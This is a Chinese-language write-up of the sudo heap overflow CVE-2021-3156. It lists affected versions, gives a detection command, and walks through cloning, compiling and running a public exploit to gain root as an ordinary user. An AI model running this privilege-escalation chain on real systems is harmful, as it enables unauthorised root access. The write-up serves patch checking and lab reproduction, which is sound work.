0x01 CVE-2021-3156: 缓冲区溢出漏洞

在sudo解析命令行参数的方式中发现了基于堆的缓冲区溢出。任何本地用户(普通用户和系统用户,sudoer和非sudoers)都可以利用此漏洞,而无需进行身份验证,攻击者不需要知道用户的密码。成功利用此漏洞可以获得root权限。

0x02 影响版本

Sudo 1.8.2 - 1.8.31p2

Sudo 1.9.0 - 1.9.5p1

不受影响版本

Sudo =>1.9.5p2

0x03 漏洞检测

测试环境:ubuntu:20.04

检测是否存在

1
sudoedit -s /

如下以sudoedit:开头报错则存在此漏洞

image-20210204101652297

如果响应一个以usage:开头的报错,那么表明补丁已经生效

0x04 漏洞复现exp

当前用户为普通用户

image-20210204102142295

下载EXP

1
git clone https://github.com/blasty/CVE-2021-3156.git

进入编译一下

1
2
3
4
5
6
7
$ make
rm -rf libnss_X
mkdir libnss_X
gcc -std=c99 -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
$ ls
Makefile README.md brute.sh hax.c lib.c libnss_X sudo-hax-me-a-sandwich

image-20210204104017615

执行EXP,要选择系统

1
./sudo-hax-me-a-sandwich

image-20210204104245921

最终执行(因为是 ubuntu10.04.1)

1
./sudo-hax-me-a-sandwich 1

image-20210204104512915

提权成功

exp地址
https://github.com/blasty/CVE-2021-3156.git